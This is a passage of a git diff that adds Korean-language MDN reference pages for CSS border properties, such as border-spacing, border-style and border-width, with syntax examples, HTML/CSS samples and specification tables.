+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-right', 'border-right')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-right-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-right', 'border-right')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-right")}}

diff --git a/files/ko/web/css/border-spacing/index.html b/files/ko/web/css/border-spacing/index.html new file mode 100644 index 0000000000..23e0e42018 --- /dev/null +++ b/files/ko/web/css/border-spacing/index.html @@ -0,0 +1,131 @@ +--- +title: border-spacing +slug: Web/CSS/border-spacing +tags: + - CSS + - CSS Property + - CSS Tables + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-spacing +--- +
{{CSSRef}}
+ +

CSS border-spacing 속성은 인접한 표 칸의 테두리 간격을 지정합니다. {{cssxref("border-collapse")}}가 separate여야 적용됩니다.

+ +
{{EmbedInteractiveExample("pages/css/border-spacing.html")}}
+ + + +

border-spacing 값은 표 전체의 테두리에도 적용되므로, 표 테두리와 첫 번째 및 마지막 행/열에 속하는 칸 사이 거리는 (가로/세로) border-spacing 값과 표에 적용한 (상/우/하/좌) {{cssxref("padding")}} 값의 합이 됩니다.

+ +
+

참고: border-spacing 속성은 {{htmlelement("table")}}에서 이제 사용하지 않는 cellspacing 특성에 대응하지만, 추가로 두 번째 값을 지정해 가로와 세로 값을 각각 설정할 수 있다는 차이점이 있습니다.

+
+ +

구문

+ +
/* <length> */
+border-spacing: 2px;
+
+/* 가로 <length> | 세로 <length> */
+border-spacing: 1cm 2em;
+
+/* 전역 값 */
+border-spacing: inherit;
+border-spacing: initial;
+border-spacing: unset;
+ +

border-spacing 값은 하나 또는 두 개의 값을 사용해 지정합니다.

+ +
    +
  • 한 개<length> 값을 지정하면 칸 사이의 가로와 세로 두 간격 모두 설정합니다.
  • +
  • 두 개의 <length> 값을 지정하면, 첫 번째 값은 칸 사이의 가로 간격(각 열의 간격), 두 번째 값은 칸 사이의 세로 간격(각 행의 간격)을 설정합니다.
  • +
+ +

+ +
+
{{cssxref("<length>")}}
+
간격의 크기로 지정할 길이입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

칸 간격과 안쪽 여백

+ +

다음 예제는 칸 사이에 세로 간격 0.5em과 가로 간격 1em을 배치합니다. 표의 테두리를 따라가면서, padding 값이 border-spacing과 어떻게 작용하는지 살펴보세요.

+ +

HTML

+ +
<table>
+  <tr>
+    <td>1</td><td>2</td><td>3</td>
+  </tr>
+  <tr>
+    <td>4</td><td>5</td><td>6</td>
+  </tr>
+  <tr>
+    <td>7</td><td>8</td><td>9</td>
+  </tr>
+</table>
+ +

CSS

+ +
table {
+  border-spacing: 1em 0.5em;
+  padding: 0 2em 1em 0;
+  border: 1px solid orange;
+}
+
+td {
+  width: 1.5em;
+  height: 1.5em;
+  background: #d2d2d2;
+  text-align: center;
+  vertical-align: middle;
+}
+ +

결과

+ +

{{ EmbedLiveSample('예제', 400, 200) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS2.1', 'tables.html#separated-borders', 'border-spacing') }}{{ Spec2('CSS2.1') }}초기 정의
+ +

Browser compatibility

+ + + +

{{Compat("css.properties.border-spacing")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("border-collapse")}}, {{cssxref("border-style")}}
  • +
  • border-spacing 속성은 {{htmlelement("table")}} HTML 요소의 외관을 수정합니다.
  • +
diff --git a/files/ko/web/css/border-style/index.html b/files/ko/web/css/border-style/index.html new file mode 100644 index 0000000000..70bf9b180d --- /dev/null +++ b/files/ko/web/css/border-style/index.html @@ -0,0 +1,241 @@ +--- +title: border-style +slug: Web/CSS/border-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-style +--- +
{{CSSRef}}
+ +

border-style CSS 단축 속성은 요소 테두리 네 면의 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-style.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-style: none;
+border-style: hidden;
+border-style: dotted;
+border-style: dashed;
+border-style: solid;
+border-style: double;
+border-style: groove;
+border-style: ridge;
+border-style: inset;
+border-style: outset;
+
+/* 세로방향 | 가로방향 */
+border-style: dotted solid;
+
+/* 위 | 가로방향 | 아래 */
+border-style: hidden double dashed;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-style: none solid dotted dashed;
+
+/* 전역 값 */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+
+ +

border-style 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 테두리 스타일을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 스타일을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 스타일을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 스타일을 지정합니다. (시계방향)
  • +
+ +

각각의 값은 아래 목록 중 하나로 지정합니다.

+ +

+ +
+
<line-style>
+
테두리의 스타일을 설명합니다. 다음 표의 값을 사용할 수 있습니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
none +
 
+
hidden 키워드와 마찬가지로 테두리를 표시하지 않습니다. {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 0이 됩니다. 표에서, 칸의 테두리 상쇄 시 none은 제일 낮은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가진다면 테두리를 그립니다.
hidden +
 
+
none 키워드와 마찬가지로 테두리를 표시하지 않습니다. Unless a {{cssxref("background-image")}}를 지정하지 않았으면 해당 면의 {{cssxref("border-width")}} 계산값은 지정값을 무시하고 0이 됩니다. 표에서, 칸의 테두리 상쇄 시 hidden은 제일 높은 우선순위를 가집니다. 따라서 주변 칸이 테두리를 가지더라도 그리지 않습니다.
dotted +
 
+
테두리를 둥근 점 여러개로 그립니다. 점 간격은 명세에서 지정하지 않으며 구현마다 다릅니다. 점의 반지름은 해당 면 {{cssxref("border-width")}}의 절반입니다.
dashed +
 
+
테두리를 직사각형 여러개로 그립니다. 사각형의 크기와 길이는 명세에서 지정하지 않으며 구현마다 다릅니다.
solid +
 
+
테두리를 하나의 직선으로 그립니다.
double +
 
+
테두리를 두 개의 평행한 직선으로 그립니다.
groove +
 
+
테두리가 파인 것처럼 그립니다.ridge의 반대입니다.
ridge +
 
+
테두리가 튀어나온 것처럼 그립니다. groove의 반대입니다.
inset +
 
+
요소가 파인 것처럼 테두리를 그립니다.outset의 반대입니다. {{cssxref("border-collapse")}}가 collapsed인 칸에서는 groove와 동일합니다.
outset +
 
+
+

요소가 튀어나온 것처럼 그립니다. inset의 반대입니다. {{cssxref("border-collapse")}}가 collapsed인 칸에서는 ridge와 동일합니다.

+
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

속성 값의 예시 표

+ +

가능한 모든 값을 나열한 표입니다.

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* 테이블 스타일 */
+table {
+  border-width: 3px;
+  background-color: #52E396;
+}
+tr, td {
+  padding: 2px;
+}
+
+/* border-style 예제 클래스 */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}
+ +

결과

+ +

{{EmbedLiveSample('속성_값의_예시_표', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-style', 'border-style')}}{{Spec2('CSS3 Backgrounds')}}No change.
{{SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style')}}{{Spec2('CSS2.1')}}Adds hidden keyword value.
{{SpecName('CSS1', '#border-style', 'border-style')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-width")}}, {{Cssxref("border-color")}}, {{Cssxref("border-radius")}}
  • +
diff --git a/files/ko/web/css/border-top-color/index.html b/files/ko/web/css/border-top-color/index.html new file mode 100644 index 0000000000..9212f447e2 --- /dev/null +++ b/files/ko/web/css/border-top-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-top-color +slug: Web/CSS/border-top-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-top-color +--- +
{{CSSRef}}
+ +

border-top-color CSS 속성은 요소의 위쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-top")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* 전역 값 */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+
+ +

border-top-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
위쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-top-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-top-color', 'border-top-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-top")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-top-width")}}.
  • +
diff --git a/files/ko/web/css/border-top-style/index.html b/files/ko/web/css/border-top-style/index.html new file mode 100644 index 0000000000..38262fffc3 --- /dev/null +++ b/files/ko/web/css/border-top-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-top-style +slug: Web/CSS/border-top-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-top-style +--- +
{{CSSRef}}
+ +

border-top-style CSS 속성은 요소 테두리의 위쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* 전역 값 */
+border-top-style: inherit;
+border-top-style: initial;
+border-top-style: unset;
+
+ +

border-top-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-top-style example classes */
+.b1 {border-top-style: none;}
+.b2 {border-top-style: hidden;}
+.b3 {border-top-style: dotted;}
+.b4 {border-top-style: dashed;}
+.b5 {border-top-style: solid;}
+.b6 {border-top-style: double;}
+.b7 {border-top-style: groove;}
+.b8 {border-top-style: ridge;}
+.b9 {border-top-style: inset;}
+.b10 {border-top-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-top-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-top-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{cssxref("border-top")}}, {{cssxref("border-top-color")}}, {{cssxref("border-top-width")}}.
  • +
diff --git a/files/ko/web/css/border-top-width/index.html b/files/ko/web/css/border-top-width/index.html new file mode 100644 index 0000000000..caa05e40cc --- /dev/null +++ b/files/ko/web/css/border-top-width/index.html @@ -0,0 +1,148 @@ +--- +title: border-top-width +slug: Web/CSS/border-top-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-top-width +--- +
{{CSSRef}}
+ +

CSS border-top-width 속성은 요소의 위쪽 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top-width.html")}}
+ + + +

구문

+ +
/* 키워드 값*/
+border-top-width: thin;
+border-top-width: medium;
+border-top-width: thick;
+
+/* <length> 값 */
+border-top-width: 10em;
+border-top-width: 3vmax;
+border-top-width: 6px;
+
+/* 전역 값 */
+border-top-width: inherit;
+border-top-width: initial;
+border-top-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
넓은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-top-width: thick;
+}
+div:nth-child(2) {
+  border-top-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('예제', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-top-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-top-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-top-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-bottom-width")}}, and {{Cssxref("border-width")}}.
  • +
  • 위쪽 테두리 관련 CSS 속성: {{Cssxref("border")}}, {{Cssxref("border-top")}}, {{Cssxref("border-top-style")}}, and {{Cssxref("border-top-color")}}.
  • +
diff --git a/files/ko/web/css/border-top/index.html b/files/ko/web/css/border-top/index.html new file mode 100644 index 0000000000..53b254c317 --- /dev/null +++ b/files/ko/web/css/border-top/index.html @@ -0,0 +1,109 @@ +--- +title: border-top +slug: Web/CSS/border-top +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 테두리 +translation_of: Web/CSS/border-top +--- +
{{CSSRef}}
+ +

border-top CSS 단축 속성은 요소의 위쪽 테두리를 설정합니다. {{cssxref("border-top-width")}}, {{cssxref("border-top-style")}}, {{cssxref("border-top-color")}}의 값을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-top.html")}}
+ + + +

다른 단축 속성과 마찬가지로, border-top는 자신이 포함한 모든 값을 지정하며 사용자가 명시하지 않은 속성도 기본값으로 설정합니다. 즉, 아래 두 코드는 사실 동일합니다.

+ +
border-top-style: dotted;
+border-top: thick green;
+
+ +
border-top-style: dotted;
+border-top: none thick green;
+
+ +

따라서 border-top보다 먼저 지정한 {{cssxref("border-top-style")}}의 값은 무시됩니다. {{cssxref("border-top-style")}}의 기본값은 none이므로, border-style을 명시하지 않으면 테두리를 만들지 않습니다.

+ +

구문

+ +
border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+
+ +

border-top은 한 개에서 세 개의 값을 사용해 지정할 수 있고, 순서는 상관하지 않습니다.

+ +

+ +
+
<br-width>
+
{{cssxref("border-top-width")}}.
+
<br-style>
+
{{cssxref("border-top-style")}}.
+
{{cssxref("<color>")}}
+
{{cssxref("border-top-color")}}.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div>
+  위쪽 테두리를 가진 요소입니다.
+</div>
+ +
div {
+  border-top: 4px dashed blue;
+  background-color: gold;
+  height: 100px;
+  width: 100px;
+  font-weight: bold;
+  text-align: center;
+}
+
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}{{Spec2('CSS3 Backgrounds')}}No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.
{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}{{Spec2('CSS2.1')}}No significant changes.
{{SpecName('CSS1', '#border-top', 'border-top')}}{{Spec2('CSS1')}}Initial definition
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-top")}}

diff --git a/files/ko/web/css/border-width/index.html b/files/ko/web/css/border-width/index.html new file mode 100644 index 0000000000..f41c188740 --- /dev/null +++ b/files/ko/web/css/border-width/index.html @@ -0,0 +1,194 @@ +--- +title: border-width +slug: Web/CSS/border-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border-width +--- +
{{CSSRef}}
+ +

CSS border-width 단축 속성은 요소 네 면 테두리의 너비를 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-width.html")}}
+ + + +

구성 속성

+ +

border-width는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("border-bottom-width")}}
  • +
  • {{cssxref("border-left-width")}}
  • +
  • {{cssxref("border-right-width")}}
  • +
  • {{cssxref("border-top-width")}}
  • +
+ +

구문

+ +
/* 키워드 값 */
+border-width: thin;
+border-width: medium;
+border-width: thick;
+
+/* <length> 값 */
+border-width: 4px;
+border-width: 1.2rem;
+
+/* 세로방향 | 가로방향 */
+border-width: 2px 1.5em;
+
+/* 위 | 가로방향 | 아래 */
+border-width: 1px 2em 1.5cm;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-width: 1px 2em 0 4rem;
+
+/* 전역 키워드 */
+border-width: inherit;
+border-width: initial;
+border-width: unset;
+
+ +

border-width 속성은 한 개에서 네 개의 값을 사용해 지정할 수 있습니다.

+ +
    +
  • 한 개의 값은 네 면 모두의 테두리 너비를 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 테두리 너비를 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 테두리 너비를 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 테두리 너비를 지정합니다. (시계방향)
  • +
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

서로 다른 값의 조합

+ +

HTML

+ +
<p id="sval">
+    한 개의 값: 모든 네 면이 6px 테두리</p>
+<p id="bival">
+    두 개의 다른 값: 위아래에 2px 테두리, 좌우에 10px 테두리</p>
+<p id="treval">
+    세 개의 다른 값: 위에 0.3em, 아래에 9px, 좌우에 0</p>
+<p id="fourval">
+    네 개의 다른 값: "얇은" 위, "중간" 오른쪽, "두꺼운" 아래, 왼쪽 1em</p>
+ +

CSS

+ +
#sval {
+  border: ridge #ccc;
+  border-width: 6px;
+}
+#bival {
+  border: solid red;
+  border-width: 2px 10px;
+}
+#treval {
+  border: dotted orange;
+  border-width: 0.3em 0 9px;
+}
+#fourval {
+  border: solid lightgreen;
+  border-width: thin medium thick 1em;
+}
+p {
+  width: auto;
+  margin: 0.25em;
+  padding: 0.25em;
+}
+ +

결과

+ +

{{ EmbedLiveSample('서로_다른_값의_조합', 320, 320) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}{{Spec2('CSS3 Backgrounds')}}No direct change; the {{cssxref("<length>")}} CSS data type extension has an effect on this property.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}{{Spec2('CSS2.1')}}Added the constraint that values' meaning must be constant inside a document.
{{SpecName('CSS1', '#border-width', 'border-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 단축 속성: {{Cssxref("border")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}
  • +
  • 테두리 너비 속성: {{Cssxref("border-bottom-width")}}, {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}
  • +
diff --git a/files/ko/web/css/border/index.html b/files/ko/web/css/border/index.html new file mode 100644 index 0000000000..405ccfb05c --- /dev/null +++ b/files/ko/web/css/border/index.html @@ -0,0 +1,151 @@ +--- +title: border +slug: Web/CSS/border +tags: + - CSS + - CSS Borders + - CSS Property + - Layout + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/border +--- +
{{CSSRef("CSS Borders")}}
+ +

CSS border 단축 속성은 요소의 테두리를 설정합니다. {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, {{Cssxref("border-color")}}의 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border.html")}}
+ + + +

구성 속성

+ +

border는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("border-color")}}
  • +
  • {{cssxref("border-style")}}
  • +
  • {{cssxref("border-width")}}
  • +
+ +

구문

+ +
/* 스타일 */
+border: solid;
+
+/* 너비 | 스타일 */
+border: 2px dotted;
+
+/* 스타일 | 색 */
+border: outset #f33;
+
+/* 너비 | 스타일 | 색 */
+border: medium dashed green;
+
+/* 전역 값 */
+border: inherit;
+border: initial;
+border: unset;
+
+ +

border 속성은 다음의 값 중 한 개에서 세 개를 선택해서 지정할 수 있습니다. 순서는 영향을 주지 않습니다.

+ +
+

참고: 스타일을 지정하지 않으면 기본값인 none이 사용돼 테두리가 보이지 않습니다.

+
+ +

+ +
+
<line-width>
+
테두리의 굵기로 기본값은 medium입니다. {{Cssxref("border-width")}}를 참고하세요.
+
<line-style>
+
테두리의 스타일로 기본값은 none입니다. {{Cssxref("border-style")}}을 참고하세요.
+
{{cssxref("<color>")}}
+
테두리의 색상으로 기본값은 currentcolor입니다. {{Cssxref("border-color")}}를 참고하세요.
+
+ +

설명

+ +

다른 단축 속성과 마찬가지로, 생략한 속성은 초깃값으로 설정됩니다. 한 가지 중요한 점은, border를 사용해서는 {{cssxref("border-image")}}에 원하는 값을 지정할 수는 없고 대신 초깃값인 none이 자동으로 설정됩니다.

+ +

border 단축 속성은 요소의 테두리를 모두 동일하게 설정하고 싶을 때 특히 유용합니다. 그러나 서로의 테두리를 다르게 하고 싶다면 네 면을 각각 설정할 수 있는 본디 속성 {{Cssxref("border-width")}}, {{Cssxref("border-style")}},{{Cssxref("border-color")}}를 사용하면 됩니다. 아니면 한 면의 테두리를 절대 기준({{Cssxref("border-top")}} 등)이나 상대 기준({{Cssxref("border-block-start")}} 등) 속성을 사용해서 따로 정해줄 수도 있습니다.

+ +

테두리 vs외곽선

+ +

테두리와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.

+ +
    +
  • 외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.
  • +
  • 명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.
  • +
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

튀어나오는 듯한 분홍색 테두리 추가하기

+ +

HTML

+ +
<div>테두리와 외곽선에 더해 그림자까지, 정말 멋지지 않나요?</div>
+
+ +

CSS

+ +
div {
+  border: 0.5rem outset pink;
+  outline: 0.5rem solid khaki;
+  box-shadow: 0 0 0 2rem skyblue;
+  border-radius: 12px;
+  font: bold 1rem sans-serif;
+  margin: 2rem;
+  padding: 1rem;
+  outline-offset: 0.5rem;
+}
+ +

결과

+ +

{{EmbedLiveSample('튀어나오는_듯한_분홍색_테두리_추가하기')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}{{Spec2('CSS3 Backgrounds')}}Removes specific support for transparent, as it is now a valid {{cssxref("<color>")}}; this has no practical impact.
+ Though it cannot be set to a custom value using the shorthand, border now resets {{cssxref("border-image")}} to its initial value (none).
{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}{{Spec2('CSS2.1')}}Accepts the inherit keyword. Also accepts transparent as a valid color.
{{SpecName('CSS1', '#border', 'border')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border")}}

diff --git a/files/ko/web/css/box-shadow/index.html b/files/ko/web/css/box-shadow/index.html new file mode 100644 index 0000000000..a040af6e5e --- /dev/null +++ b/files/ko/web/css/box-shadow/index.html @@ -0,0 +1,126 @@ +--- +title: box-shadow +slug: Web/CSS/box-shadow +tags: + - CSS + - CSS Property + - CSS Styles + - Reference +translation_of: Web/CSS/box-shadow +--- +
{{ CSSRef }}
+ +

box-shadow CSS 속성은 요소의 테두리를 감싼 그림자 효과를 추가합니다. 쉼표로 구문해서 여러 그림자 효과를 입힐 수 있습니다. 박스 그림자는 요소에서의 수평수직 거리(오프셋), 흐릿함과 확산 정도, 색상으로 이루어집니다.

+ +

{{EmbedInteractiveExample("pages/css/box-shadow.html")}}

+ +

